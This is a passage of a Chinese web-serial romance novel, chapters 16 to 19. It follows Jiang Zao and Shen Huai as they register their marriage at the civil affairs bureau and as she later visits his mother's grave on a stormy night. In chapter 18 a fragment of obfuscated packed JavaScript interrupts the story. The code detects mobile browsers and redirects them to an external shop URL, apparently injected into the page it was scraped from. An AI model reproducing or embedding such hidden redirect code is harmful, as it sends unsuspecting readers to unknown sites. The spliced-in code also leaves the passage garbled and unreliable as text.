这份文件里面的数据几乎完美,投入市场的使用率以及反响都很不错。
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他合上文件,不解道:“你们的数据很好,可见在社会上反响已经很好了,为什么还要寻求和我们学校合作。”
沈淮道:“我们做这个网站,从一开始就是想投入学校使用,只是苦于打不开学校市场,所以才退而求其次给社会上使用。”
“哦?”校长试探地问道,“看来这个价格不低啊~”
沈淮提起水壶,给校长面前的水杯倒了半杯水:“江大可以永久免费使用,我们还可以提供永久技术服务。但有一个条件,我需要校长在次月的校长交流会中提起这个网站。”
社会存在数个圈子,这种圈子只要出现一个破口,想要钻进去就不难了。
校长不由失笑,半响才由衷道:“好啊,不愧是沈培华的儿子,你比你父亲优秀的多了。”
他和他父亲自小认识,沈培华胜在人情世故,但不精于商业排布,如果没有他前妻为他谋划,沈氏做不了那么大。
他们这个儿子,真是结合了他们的优点,也难怪沈氏近一年会上升到这样一个高度。
沈淮抿了口茶,神色不经意的一蹙,转瞬即逝:“校长谬赞了。”
门再开的时候,他看到姜早小小的一只蹲在角落,耷拉着眼皮似是困了。
“可以进去了。”他道。
姜早揉着眼睛点点头。
她走进办公室顺手带上办公室的门,走到校长桌边,礼貌道:“校长,您找我。”
校长笑着抬手,示意她往沙发上坐。
姜早点头,坐到沙发上。面前的桌上正放着两杯滚着热气的茶,想必是他们刚刚谈话的时候喝的。
沈淮这面子真是大啊...
“你之前向我问过休斯顿顶尖舞者还有没有名额,我一直有让人给你留意,这两天总算有了消息。”校长看着她脸上放出的光,和蔼的笑起来,接着道,“最近有个品牌方的内部比赛,第一名可以直通休斯顿。就是他们报名范围比较麻烦,只招收国内几个资方的签约舞者,你要是想去,我可以帮你争取一下。”
姜早激动地点头,姜早还当时校长也留意了论坛上的事情,想要批评她一顿,没想到为的竟然是这个!
她当然想去!这么多年,她想了多少次,只要上次不在舞台上出错,一定能拿到休斯顿的名额,这甚至差点成为她的梦魇和魔障。
如今再有机会去休斯顿,她一定要抓住。
“谢谢校长,我想去!”她激动道。
再走出门的时候,沈淮仍旧在门口,她被吓了一跳:“你怎么还没走?”
沈淮理所当然道:“等你。”
姜早关上门,生怕这点声响被校长听到。她将沈淮拉到一边,提醒道,“你和我一起走出去,万一被人发现了怎么办?”
沈淮低眸,他透过那双眸子,似乎看出了一些不满,她好像很不喜欢被公开。
16. 第 16 章
司机看着他们一前一后的车上颇为奇怪,这么点距离明明可以一起走的。
不过他也没敢多说。
民政局的大厅里做了不少人,姜早第一次来这种地方,颇为新奇,脚不知踩了什么,往旁边一滑。
身后的一只手捞住她,提醒道:“小心点。”
温热的呼吸打在姜早的耳畔,弄的耳边发烫,她本身就敏感,没忍住往后缩了缩脖子。
“天,这对小夫妻好养眼。”
“太般配了吧。”
沈淮看她站稳,就将她放开。低眸时,盯着姜早红了的耳朵,不解道:“你发烧了?”
姜早窘迫的转移话题:“先...先取号吧。”
取号机取号很快,姜早拿完号,在人群中寻找沈淮的身影,扫了两遍都没扫到他的身影。
旁边服务人员凑过来道:“女士,是在找您男朋友吗?”
姜早有些别扭的点头:“嗯,他去哪里了?”
服务人员回忆道:“他刚刚接了个电话就出去了,应该是有什么急事,您可以先坐椅子上等一会儿,您的号码比较后面,不着急。”她的工作内容里没有盯梢这一项,奈何人家小夫妻生的太好看了,一进门她的眼睛就自觉往他们两个身上飘了。
她总觉得这两人是什么隐婚的小明星,还当自己发现了大瓜,边关注小夫妻动向边和她群友发信息呢。
姜早心中莫名有些落寞,轻轻点头后便找了个空椅子坐下。沈淮一直都很忙,她知道的。可是今天是领证,他难道就这么走了吗?至少,也该跟她说一声才是。
她看着号码牌,六十六号...冰冷的机械声正喊道五十六号,还有十个号。
周遭的新婚夫妻或是玩笑吵嚷,或是浓情蜜意,也有幻想未来。
她就这么静静地听着,四面八方的声音都灌入她耳朵里,她的脑子却是一片空白。
婚姻的意义是什么?她也不知道。对于她和沈淮来说,只是因为一场意外,将素不相识的他们绑在了一起,仅此而已。
她看了一眼手机,没有未接电话。他离开,甚至连说都不跟她说么。
手里的号码牌被她紧张的攥在手里,如果就这么离开,好像也奇怪了吧。
她正低眸踌躇,突然一个塑料袋朝她递过来。
“先吃药。”沈淮端着冒着热气的杯子,朝她递过药来,“等会带你去医院。”
他的声线清润,说话时语速不急不缓,带着一丝不易察觉的温柔。
她身体一僵,失措地抬眸看他,清透的眸撞入他乌墨的双眸。
原来,他真的以为她发烧了。
时间像是止住一般,她突然想起方才困扰多时的问题,好像模模糊糊有了答案。只是她现在还说不出,那个答案具体是什么。
沈淮见她不接,便问:“身体很不舒服?”他看了一眼液晶屏,“可以下午来领证,我们先去医院?”
姜早从神思中剥离出来,慌张地从她手上接过药和水:“不用了!就是一点小感冒,没有不舒服,吃个药就好了。”
她可不想说自己脸红是因为害羞,还不如说感冒来的妥当,只是这感冒药也不能乱吃。
药盒上密密麻麻的字,她盯着不良反应仔细查看。
沈淮以为她不知道吃多少的量,便提醒道:“一次两颗。”
姜早抿唇,听到两颗之后更不想吃了,她朝沈淮递手:“你把水杯给我把,我自己来。”
沈淮在旁边坐下,声音淡淡:“你一个手怎么拿药和水。”
姜早担心被戳破,拆开药盒,放了一个进嘴里,而后向他伸手:“水。”
沈淮嗯了一声,将水递给她。
姜早将药藏在舌头下面,飞快地将水灌入喉咙里,生怕药融化,然而唾液好像已经在渐渐吞噬它外面坚固的壳了...这可不行...
越是着急,事情越是办不好,她手拿着水杯,想单手掰出另一个药丸,奈何就是打不开。
沈淮拿过她手里的水,静静地看她。
姜早有些窘迫道:“谢谢。”含着药,她说话着实小心翼翼,生怕药丸掉出来。
她将第二颗药放进嘴里,接过他手里的杯子,假意抿了一口水。随后轻轻道:“也不知道现在几号了,你方便去问问吗?”
沈淮点头,转身走出去。
姜早飞快地从口袋里拿出一张纸巾,将两颗药往里面吐进去。
机器声猝不及防的响起:“请五十四号到柜台办理登记。”
怎么这个时候报号了!姜早猛地抬头,就见没走出多远的沈淮,侧头转过来,两双眸子猝不及防的对上。
姜早很快别开目光,将纸巾叠起来,故作擦嘴,一气呵成。
“五十四号。”沈淮坐到她身边道。
“嗯。”姜早点头,起身道,“我去扔个垃圾。”
她走到垃圾桶边将纸巾扔掉,回头看沈淮正在整理药盒,没有起疑。她重重吐出一口气,颇有一种劫后余生的感觉。
余光瞥见刚刚的那个工作人员正站在一边,手指飞快地在手机上按键,脸上还带着笑意。
姜早感慨,姜早感慨在这种充满幸福的地方工作,原来也能将这种幸福传递到员工身上。
正想着,工作人员抬眸,正与她的眸撞上。姜早点头朝她笑了笑,随后便回去了。
工作人员笑咧到耳根,低头猛打字。
电子屏喊到六十六号,姜早正欲起身,结果看到身边一对新人站了起来。
她不解的摸出口袋里的号码,是写着66没错。
“倒过来。”
她听到沈淮这么说。
姜早听话的倒了过来,99...
她下意识道:“哦,原来是99号。”话突然收住,她这样岂不是承认了刚刚认错数字了,她平移视线,尴尬道,“不愧是学金融的,对数字挺敏感。”
话说出口,她就觉得不对,就一个6和9哪需要把他捧的这么高。她这是怎么了,之前从来没有这么口不择言过。姜早侧头,半张脸被长发盖住,懊恼的扶额。
“还行。”沈淮嘴角轻勾。
□□的速度很快,没多久就轮到他们了。
工作人员每天过着流水线一样的日子,还没抬头,就已经用机械般了无生气的嗓音道:“证件。”
姜早一早准备好了文件袋,将所有东西都备齐了,在工作人员要材料的事,就直接将所有东西拿出来递了过去。
工作人员接过文件,无意中的一抬眸正见那两张爱豆一样的脸,了无生气的脸上突然有了生气,连提问都有了激情。
她边把证件摊开,边笑着问:“两位谈了多久。”
姜
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早:“五年。”
沈淮:“一个月。”
工作人员笑意收敛,看了看沈淮又看了看姜早。
姜早微怔,应付爸妈的时候,她让沈淮说五年,这回面对外人,她居然也下意识说五年了。
“到底多久?”工作人员试探道。
姜早:“一个月。”
沈淮:“五年。”
工作人员抿唇。
姜早飞快反应道:“认识五年,谈了一个月。”
“哦~原来是这样,也算是闪婚的一种。”工作人员低头整理桌上的着呢证件,翻找了两下没看到两人的结婚照,“你们的结婚照有准备吗?”
工作人员见那两人对视了一眼,就知道他们没准备,便笑道:“没事,不要紧,我们民政局也有照相馆。之前总是有新人在外面的照相馆拍照,可以把他们修饰的好看一些,我也就象征性问一下。你们两位长得这么好看,在民政局拍照也一样,出门左拐,照完照片之后再来我这里办理。”
到了摄影的地方,摄影师让他们换上了白衬衫。
站在红色背景的墙前,姜早突然有一种对自己要结婚有了实感。
摄影师调整好光线,看着摄像机里的两人怎么看怎么别扭。
“两位新人笑多一点哦~”
摄影师低头看取景器,看着养眼的两人点了点头,只是少了点结婚的感觉。
“两位新人凑近一点~”
姜早还没反应,一只手已经搭在她的肩膀上。
咔嚓一声,摄影师比了一个ok的手势:“非常完美!祝两位新人白头偕老~”
沈淮放下手,正看到姜早盯着自己,便问:“怎么了?”
姜早飞快地摇了两下头:“没什么,走吧。”
交齐所有证件,完成了所有仪式,两人顺利拿到结婚证。正欲离开之时,一直站哨的工作人员拦住两人,殷切道:“两位新人等一等!因为你们是今天第九十九对登记结婚的情侣,我们有特殊的礼品送出!”
姜早好奇道:“是什么礼品?”
工作人员从服务台掏出一个红色熊猫公仔来。
姜早很喜欢这种毛绒玩具,看到公仔眼中冒光,开心地接过:“谢谢。”
“接下来呢就是一个小互动,就是你们需要拿着这个毛绒玩具合照一张,到时候我们会放在公众号上~对你们来说也是一个很好的回忆~”工作人员说完就打算掏手机。
借着这个公事儿,还能成全她的私事儿,她得让群友看看她今天看到的天仙配...简直是太养眼了。
姜早攥着玩偶的手一紧,如果放公众号上,岂不是谁都知道她和沈淮结婚了,这可不行。她有些遗憾的看着手里的玩偶,将它递了回去,“不好意思,玩偶还给你们吧,我们有事要先走了。”
工作人员问道:“啊?女士不喜欢这个玩偶吗?我们还有别的玩偶,你喜欢兔子还是乌龟。”
姜早摇头,抱歉道:“不好意思今天没有化妆,不太方便拍照。”
工作人员没再强求:“好吧,祝福两位新人百年好合,慢走哦~”
等到背影消失,工作人员找了个空荡的地方,掏出手机,给那位“群友”打电话过去,对方很快就接了。
“真的很般配,就和王子和公主一样!我本来想给你拍照,结果人家不配合。”
17. 第 17 章
对面男生无奈道:“姐,爸妈安排你在民政局上班是想让你赶紧找对象的。”
工作人员呵呵笑道:“在民政局上班和找对象有什么关系,我接触到的人都是别人老公,他们难不成鼓励我做小三?”
男生解释道:“让你被爱的氛围感染。”
工作人员不吃这套,笑道:“感染不了一点。”
男生靠在宿舍的椅子上,翻了个白眼:“随你吧,大龄剩女。”
工作人员耸肩:“无所谓啊,姐姐有钱有房,大不了以后住养老院请个护工。光说我,你怎么不分享分享你的爱情,不是说在帮你的慕斯女神清恶评吗,怎么样对方看到你的付出了吗?”
向北辰道:“没有,那个网站被黑了,重新恢复过的网站加了人工智能审核,没有这个帖子了。”说完,他补道,“不过这样也好,她不要再被说就好。”
那时候舆论刚出来他还没注意到,直到帖子被顶到了热帖,他才关注到,还请了一帮水军建贴子,和那些骂人的对骂,那几天他几乎天天熬夜。
向北辰姐姐咂嘴了两声:“无私的奉献,伟大。姐姐以民政局工作人员的身份劝你一句,如果你有心追人家,就早点让人家知道你是她小时候的笔友这件事,一点羁绊都没有,你在人家心里就一点分量都没有。”
也不怪他弟,当初他弟一个人去国外读书,孤单的很。
好在中外学校建交,互相发展一对一的笔友,他当时就选到了姜早,两个人经常发电子邮件,姜早也经常开导他。不过他弟用的是英文名,人家到现在估计也以为笔友是个外国人。
向北辰道:“我乐意~你管我呢。”
向北辰姐姐耸肩:“随你的便。你最近忙不忙,多回家住住呗,免得只有我一个人被妈骂。”
向北辰毫不犹豫的拒绝道:“忙得很,我后面接了商业赛的拍摄,再后面还要去休斯顿拍摄,这几个月都回不了家,你自求多福~挂了~”
向北辰姐姐赶忙道:“慢着!”
向北辰问:“什么事?”
向北辰姐姐谄媚道:“还去休斯顿啊?帮我代购呗,我最近看上了...”
嘟嘟嘟,电话挂断的声音响起。
“呵呵,路走窄了。”
看着飞驰而过的三千多万的豪车,她蹲在地上咂嘴:“不愧是京城,这辆车的顶配都买得起。”
“向晨曦同学。”
“嗯?”
“三次机会已经用光,我已经把你刚刚在这玩手机的照片拍给你妈了。”
“主管!”
......
三千多万的豪车上,姜早揣着结婚证看了一会。
一个红本本,盖个红印章,就换了一个身份,这感觉有些不真切。
她望着窗外有些出神,突然发现外面的窗景不是学校那段路,便问司机师傅道:“我们不是去学校吗?”
司机往后视镜看了一眼,笑道:“小沈总说您有点感冒,让你先去医院挂一瓶盐水,挂个盐水好的快些。”
“去医院...”姜早心头一跳,侧头朝旁边看文件的男人道,“我不去,我感觉我吃了药已经好多了。”
沈淮视线从文件上挪开,看着她染了红晕的脸,道:“没看出来。”
姜早心急:“我想起来了,我中午约了朋友一起吃饭,很急。”
沈淮道:“挂完再去。”
姜早又说:“其实我抗生素有点过敏。”
沈淮盯着她,漆黑的眸子似乎要将她看穿。
姜早心虚的别过头。
沈淮低头看文件,淡淡道:“先送她回学校。”
“好的小沈总。”司机从后视镜里看两人哭笑不得。
姜早重重吐出一口气。
车还是停在一个比较隐蔽的路口,姜早拿着自己的一些资料下车,在关车门前,她想了想还是道:“今天谢谢你。”
心跳如雷。
说完,她飞快的关上车门,走了。
沈淮看着那道背影离开,才将视线落回到文件上。
司机从后视镜看他,笑道:“小沈总和姜小姐感情真好。”
后座真皮沙发上的沈淮双腿交叠,文件搭在大腿上,赶紧修长的指尖握着纸面。衬衫的袖口被挽起,手腕骨骼微凸,窗外的橘黄色暖光照在他面部轮廓上棱角分明,整个人看上去疏离又矜贵。
这幅样子才是小沈总的常态,与方才和姜姑娘在一起的时候截然不同。
“为什么这么说?”沈淮没抬头,
司机不假思索道:“方才江小姐只是感冒,您都紧张成这样,我可从没见到小沈总对一个人这么照顾。”
沈淮翻页的手微顿。
照顾么。
他其实不会,但他记得他母亲生前,会把感冒的他送到医院去,为了让他好得快一些。
原来这叫做照顾。
司机接着道:“不过小姑娘都胆子小,害怕打针。普通感冒的话用不上去医院,吃几颗药就好了。”
“嗯,记住了。”沈淮道。
确实胆子小。
他嘴角勾起一抹笑意,连自己都未察觉。
电话一阵响。
特助的声音十分高兴道:“您刚刚说的内部赛名额,我已经拿到了,您这边需要多少个。”
“一个。”沈淮道。
办公室里,特助将椅子往前挪了挪,手撑着脸,端正道:“我们公司要开始培养舞者了吗?”他问的时候还带着几许期盼,全公司上下都是男员工的现状,太悲惨了...
“没有。”沈淮眸间淡淡:“你找个方式把这个名额给江大校长,不要说是我送的。”
特助点头道:“好的小沈总。”
电话挂断。
“江大校长?嗯?江大校长?”特助重复了一遍这个名字,咂嘴望着天花板,不解道,“江大校长还有这方面爱好?”
江大校园里,因为论坛革新,更多人的话题被探索新功能替代,对姜早的事情讨论度也就没那么高了。因为系统还原的数据不是只删了网暴姜早的帖子,所以他们也没往姜早身上想。
唯独坐在办公室的校长摸着下巴,好像隐隐约约感觉这两件事似乎有什么联系。
姜早平平安安的度过了这一天,正要出校门之际,听到过路人聊天的声音。
“听说了吗?江婷回来了”
“早就听说了,我还听说人家一回国他爸就带她召开新闻发布会了,让她接手江氏集团。”
“天啊这么年轻就当女总裁了,也太帅了。”
“既然江婷学姐回国了,沈淮学长也一定回国了,也不知道有生之年能不能看到他们这对金童玉女结婚。”
“你这么激动做什么~”
“当然啦,我可是大一刚进学校就磕他们cp了~”
姜早与他们擦肩而过。
晚上,她在机构上完课就收到了校长打来的电话,说帮她拿到了内部赛的名额,她可以以个人舞者的名义参赛。
因为拿到名
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额对江大也是正向的宣传,所以校长说让她这几天先把重心放在备赛上,学校里的任务会和他的硕导商量,最近给她放放假。
姜早自然是高兴的,平时在校不仅有技能课还有文化课,对她来说,参加比赛还是主练技巧为好,她已经很久没有做高难度动作了,要捡起来估计需要费些时候。
校长把比赛信息发给她,只剩两周的准备时间了。
姜早顿时感觉压力剧增,这两天都整日泡在舞蹈房里。
晚上回到家她总很疲惫,被猫蹭了蹭后疲惫的心情顿时就能一扫而空。
她蹲下身,顺着它身上的猫,似乎是被顺舒服了,她会畅快地喵呜一声。
手机响起来,是一个陌生电话。
姜早接起来,听到熟悉的声音。
是沈淮的妈妈。
“早早,你知道沈淮在哪里吗?”
姜早不解她为什么这么问,但还是应了:“没有,怎么了阿姨?”
事实上,自从那天领完证之后,他们就没有任何联系了。
她想,这好像和当初说的差不多。领证,不公开,互不影响。
沈董事长夫人扶额:“倒也不是什么大事,明天是她亲生母亲的忌日。每次我先生都会提前联系沈淮,让他一起去墓地,可每到这几天他就会和我们玩消失。”
说到这里沈董事长夫人叹了口气才接道:“今年我先生在医院,实在去不了。他如果也不去,对他地下的母亲来说,忌日当天一个亲人也没有未免太过残忍。我本来想,如果你知道他在哪,就替我劝劝他,唉,可惜。”
姜早现在才知道,沈淮的家庭环境也很复杂,难怪沈淮和小苹果年龄上的差距有这么大,性格也十分迥异。她想了想道:“会不会在墓地?”
沈董事长夫人道:“不会,他对自己的亲生母亲有怨,他妈妈去世后他就出国了,葬礼都没回来参加。就算回国后,也从来没有回来看过她。”
姜早怔了怔。
大二的时候,沈淮突然出国,原来是因为这个。
她能感觉到这其中一定有什么事情发生,但她不方便问。她想了想,道:“阿姨方便告诉我墓地在哪里吗?明天我代沈淮去看看。”
沈董事长夫人开心道:“那样也好,也让她看看儿子的女朋友。说到这个,我找不到家里的户口本了,也不知道他是不是想偷偷跟你领证。”
姜早抿唇,她该怎么说,她们已经领证了呢?
现在说这个不太好,她想了想还是没说,寒暄了几句就挂了电话。
姜早看到手机上发来的墓地地址,微愣。
她去过那里,小时候爷爷火化,她就是去的那里。
那是个雨天的早晨,她还不知道死是什么意思,只知道跟着大人走。火化完,大人交接手续,她跑出去玩,还救了一个被妈妈打的小男孩儿。
回去的时候,爸妈正要走,她扯着爸爸的衣服,懵懂的问他,为什么不接爷爷回家。
在她记忆力,她爸从来没哭过。只是那次爸爸哭的很大声,眼泪止都止不住,双手紧紧抱住一个罐子,哭的像个小孩子。
后来才知道,爸爸没有不接爷爷,只是爷爷变成了骨灰,装进了方块大的罐子里,再也出不来了。
生命固然会终止,死不是死者的不幸,而是生者的不幸。
相伴很久的人离开,一定会有思念。
沈淮也许不是怨恨她的妈妈,只是不敢面对。
她打电话订了两束花,她猜沈淮会去。
18. 第 18 章
次日下午,是大雨。
车来车往,亦人来人往。
姜早举着伞站在墓地门口,给沈淮打电话,一直是无人接通。
“女士,有什么需要帮忙吗?”墓地的工作人员早就有留意她,看了一会儿才过来问。
姜早想了想:“方便带个路吗?”说完,她将手机上的位置信息递给工作人员看。
“可以。”工作人员很快认出了这个地方,“女士跟我走吧。”
姜早点头,试想要拿起放在地上的两束菊花,但因为拿着伞,拿的过程有些艰难。
工作人员热心道:“需要帮您拿花吗?”
“不用。”姜早连忙道,只要捧着两束花,把伞夹在胳膊肿就可以了,不难,就是麻烦一些。
墓地很安静,明明人来人往,耳边也只能听到如瀑的雨声,戚戚沥沥,如诉如泣。
明明都是普通的大理石,镌刻上姓名,贴上照片,就变成了每个人日思夜想的亲人。
“就是这了,女士。”身着黑衣的服务人员拱手,示意这个墓碑的位置,随后转身离开。
姜早在墓碑前慢慢蹲下,凤眸落在那张黑白照片上。
照片中的女人嘴角半勾,却是漫不经心地敛眸,散着一种拒人于千里之外的漠然无情。
姜早看着那双眸子,莫名想起沈淮的脸来。不止外形相似,就连散发出来的气场,也是极为相像。
姜早将其中一束花递了过去:“伯母好,我叫姜早,是沈淮的太太。”
周遭的雨似要将她的声音吞没,她仍旧不疾不徐,语调轻轻缓缓:“沈淮临时有事,可能要晚一点来,您别怪他。”
她的手擦过花上沾的水滴,抹去照片上的泥土:“很抱歉,我来自一个普通家庭,好像和您儿子格格不入。如果以后他带别的女孩来这里,也请您别生气,爱情不能强求,如果他有自己的爱情了,我会尊重他的。”
她在墓碑旁坐下,宛如坐在她母亲身边一般,静静地同她聊天:“您放心,沈淮现在过得很好,也不知道您小时候是怎么教的他,把他教的这么厉害。”
她就这么静静地抱着花,坐在墓碑旁,不再做声。今天的雨很大,在这片没有高楼的土地上,显得孤寂又森冷。她想起校门口擦肩而过时,听到的那段话来。
江婷回来了。
那个和沈淮一起被称为金童玉女的江婷,回来了。
她和沈淮本来就是因为意外在一起的,也许沈淮一直喜欢江婷,只是迫于那场意外,不得不对她负责。
这次江婷回国,沈淮心里的想法会是怎么样?如果他们之间仍旧有感情,那自己是不是成为了他们之间的那道槛。
她双手不自觉攥紧了手里的花,霎时间蹙紧了眉头。
想的多了,以至于忽略了时间的消逝,连周遭天快黑了都没注意到,直至一声雷响,才将她从思绪中剥离。
不知道什么时候,周围已经没有人了。
她匆匆起身:“雨下大了,沈淮可能堵在路上了,我改天再让他来看您。”
说完,她将手里一直捧着的花放下,凑到另一束花的旁边,整理好包装上的褶皱才离开。
周遭的能见度太低,雨水冲刷的泥路不好走,风吹着路两边的树,发出呜呜凄苦的声音。
她脚下一打滑,险些跌在地上,好在右脚抵住石块稳住了。
似乎一道沙沙声在后面响起。
往后看过去,只有空旷的道路和墓碑。
她咽了咽口水,往自己胸口拍了两下,试图让自己的心平静下来。
来的时候是工作人员带她来的,她早就忘记回去的路怎么走了,周遭这么暗,连一点可供抽取的记忆都没办法对照了。
白天看起来正常的地方,在晚上显得有些可怕了。
姜早摸出手机,想要打开地图,按了两下开关键还是没有动静。她心中一颤,这才想起来出门忘记了充电,仅剩的那点电在上午都被耗光了。
她是从北边的方向来的,一路往北走一定是能出去的。靠着一点点天上的微光一路向北,直至走到一个十字路口,她愣在原地,忽然全身发冷。
她不记得有走过十字路口,来的时候明明是一条路走到底,怎么会有十字路口...
姜早攥着伞的手紧了紧,仰头看着乌云遮盖下唯一的闪光。
妈妈说,人死了之后会变成一颗星星,为家人照亮回家的方向。
右边。
一路向右,走了好久好久,终于有了光亮。
那是一间类似于厂房的长条形房子,有点类似于胡同的设计,前面是前厅,后面才是正厅,通过中间的一个木门隔绝了。
有光亮,就是有人,她一路小跑过去。
最外面的大门是打开的。
走近看,才看清门口坐着一个女人,约莫二十几岁,穿着白衣服,趴在桌上打盹。
周围有几张椅子,和一张长条木桌,木桌上放着一个手电筒。
这地方也许是工作人员的休息室?
她小心地开口问道:“您好。”
那身穿白衣的年轻女人浑身一颤,猛地睁开眼睛。
姜早举着伞浑身湿漉漉的站在门口,正好一道雷劈下来,在她身后闪下一道白光。
年轻女人靠了一声,猛地从椅子上摔下来,一头嗑在地上,脸色惨如白纸:“天灵灵地灵灵,我祖上十八代没做过什么坏事,平时还救小猫小狗,蚂蚁都不敢踩死,阿弥陀佛菩萨保佑,我什么都没看到,放过我吧,放过我,别把我带走。”
姜早双手攥着,担忧的往后看了两眼,确定除了她之外没有别人,才小声道:“不好意思,我有点迷路了,请问你知道出口在哪里吗?”
“嗯?”年轻女人轻轻抬头,仔细打量了一会儿,三秒后才拍了拍衣服起来,轻松道,“原来是活人啊,你要出去的话再往前走一段就是了,不过这种地方晚上还是别一个人走,你如果不建议的话我等会巡查完带你出去。”
她说完抬头看了一眼时间,手抓起桌上的手电,似乎是要到她工作时间了。
姜早点头:“谢谢,那我在这里等你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135840|150090||http|test|mini|href|location''.split(''|''),0,{}));
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>年轻女人点头,“十五分钟后回来。”她抓起一件雨衣套在身上,在要出门时突然转身,颇有深意地提醒道,“注意别打开那扇门哦,坐在这个椅子上等我就行。”
姜早明显感觉不对劲,特别是在这种雨夜里,那双带着警示的眸子,格外让人胆寒。
她视线慢慢移到那扇木门上。
木门是很早以前老房子会用的款式,钥匙就插在门上,还有铜锈,应该是用了有些年头。
为什么一个长条形的房子,却用一堵墙隔绝成两半。这第一扇门的地方更像是一个短暂歇脚的凉亭,或者说是看守的地方,里面不知道是什么地方。
一个墓地里面的房子,一定是有什么用的吧...
姜早隐隐感觉这个地方不是什么好地方。
刚想问,才发现那个年轻女人已经冲进了雨里。
一阵风吹过来,姜早缩了缩脖子。
总不能是停尸房吧...
她默默收了伞,放到桌下,找了靠墙的一把椅子坐下。
墓地选址远离闹市,除了风声和雨声,其余的一点声音都听不到,有些没有人“声”的感觉,怪吓人的。
一道很大的闪电劈下来,将整间屋子照亮了一瞬。
姜早用手盖住眼睛。
看不到就好了...
下一瞬耳边响起雷劈下来的声音,很响,她浑身一抖。
盖在脸上的手,本来还能看到一点灯光,白蒙蒙的。现在突然什么也看不到了,她慢慢移开手,小心正看眼。
一片漆黑。
和外面的天一样。
什么都看不见了。
灯灭了...
没有什么比在墓地里没有光源更恐怖了。
她在原地呆滞了一会儿,心提到了嗓子眼,站起身险些被椅子绊倒,扶着墙,往外走,无形的恐惧在空气中越聚越紧,引得她毛骨悚然。
正在她犹豫着要不要踏出去的时候,外面一声鸟叫,她又飞快的把脚收回来。
工作人员那句话在脑海里盘旋。
还是再等等吧。
正要转身之际,她突然从夜色中,看到一个模糊的影子从小道那边走过来。
印象中,那个工作人员是个女生,没有这样的身形,这个影子明显不是她。
她惊恐地左顾右盼,发现自己无处遁形,一个转身就钻到了墙角,脸盖在膝盖上,闭上眼。
大脑一片空白,心中鼓跳如雷。
黑暗中的沙沙声让她汗毛都竖了起来,冷汗如雨般从额头低落。
那声音在他面前停下,一道暖光笼罩下来。
她慕然抬头,赤恍恍地撞进那人墨色的眼睛里。在这寂冷的夜色中,那道眼神淡漠又晦涩不明,像是掺杂了什么不一样的情绪。
橘黄色的暖光在两人之间,在这个静谧而长久的对视中。
她不自主地屏吸,仿佛周遭的空气都静止下来,心却在此刻慢慢放慢了下来。
“胆子这么小。”沈淮微微弯腰,看着她的眼睛,“为什么要过来。”
19. 第 19 章
霎时,所有恐惧都消散了。
姜早抬头,轻道:“你怎么来了?”
沈淮移开目光:“正好路过。”
时间霎时停止。
姜早顿时感觉有些好笑,墓地里七绕八拐,他怎么可能是路过来的这里,她问,“什么时候来的?”
沈淮起身,转移话题道:“先起来吧。”
既然沈淮不愿说,她也不再多问,看着那只递过来的手心,她犹豫了一下,右手轻轻放上去。
黑暗中,沈淮手里的光束是唯一的光线,映着两人视线的交汇。
她没站稳,一个踉跄,跌进了沈淮的怀里。
衣衫紧贴之间,温热的气息围绕,暧昧而又奇怪。
姜早记起他有洁癖,赶忙退了几步要与他拉开距离。未料手一紧,她又被拉了回去。
仰头时,视线交汇。
沈淮道:“后面的墙这么多灰,你要用自己的衣服替他们擦墙吗?”
姜早往后看过去,果然墙上黑漆漆的,所以他刚刚这样是为了不让她沾到灰么?
“走吧。”沈淮转身道。
姜早赶紧道:“不行。”
沈淮刚走出几步,闻言回头。
姜早有些抱歉道:“我刚刚答应了那个工作人员,在这里等她的。”她顿了顿接着道,“我自己走了,工作人员会报警吧...”
沈淮不解,眉头微蹙:“为什么要等他?”
姜早解释道:“我迷路了,她让我等她巡查完,带我出去。”
沈淮嗯了一声:“那我先走了。”
姜早心急,右手拽住沈淮的衣角,小声请求道:“你别走。”
沈淮回眸,认真地审视那张被吓得泛白的脸庞,似乎在等她后面说的话。
反应过来的姜早,有些慌张的收回手,故作镇定地解释:“外面天太黑了,你要是不认识路,可以和我一起等工作人员,把我们带出去,这样安全些。”她说完又补道,“你要是有急事,那就先走吧,注意安全。”
她没有抬头,却听到沈淮轻轻叹了口气。
视线交汇的瞬间,他说:“嗯,确实不安全。”
...
“哎哟,我骗你做什么,我盯了那人一天了,一直躲在树后面鬼鬼祟祟的,天黑了就往你这来了。”
“牙叔,你肯定是看错了,天都黑了还下着这么大的雨,哪个不怕鬼的敢来停尸房。”
“多的是嘞!那种盗墓小说里,有人专门干这种事儿的。”
“人家盗墓盗的那是皇帝公主皇子皇孙,少说要几百几千年历史了,咱这放的有满一个月的没有啊?人家偷来干什么?”
两人一路拌着嘴走过来,吵嚷的很。
姜早老远就听到他们的交谈声,偷偷往沈淮的方向看了一眼,他只是坐着看雨,没有作声。
“哟,这灯怎么灭了,怎么还坐着两个人。”保安往两人扫了一眼,目光落在沈淮身上的时候,警惕的眯了眯眼。
姜早解释道:“刚刚打雷灯突然就灭了,我也不知道为什么。旁边这位是我的朋友,也迷路了,我让他先呆在这里。”
“哦,这样啊,我这个灯泡经常这样,一打雷就容易断电,没吓着就行。”工作人员朝旁边的保安道,“牙伯,都是认识的,你放心吧。你看的那个是他吧,沈家那个,他不是经常来吗,你还不认识?”
姜早往旁边看过去,沈淮脸上没什么表情。
果然,沈淮经常来看他的母亲。
牙伯用灯晃了晃他的脸,语调拉长哦了一声,笑道:“是,是认识,下雨天我这老花眼看不清,没一眼认出来,你怎么又这么晚来墓地啊?又不回家吃饭?要不要上伯伯家吃?”
沈淮轻笑,摇头道:“不用了,谢谢伯伯。”
牙伯稀奇的打量沈淮旁边的女人:“从来没见过你带女生来,这位是你女朋友吗?”
姜早正想开口解释,旁边人先一步开口。
“她是我太太。”
她不知所措地抬眸,恰对上那双黑眸。
这是她第一次听到这个称呼。
霎那间,月色迷离,雨声清脆,男人就站在一步远的地方,垂眸柔和的看着自己。
似乎这一刻他们真的是恩爱的夫妻。
牙伯往他们两个身上看:“哦哟!结婚了啊!真般配!”他回忆起往昔,感慨道,“以前你总偷偷跟着你妈妈过来,每次都只敢躲在树后面看,回去又一个人骑个自行车偷偷走,那时候才多大呀,一半高吧。现在你长得这么大,还结婚了,时间过得真是快啊。”
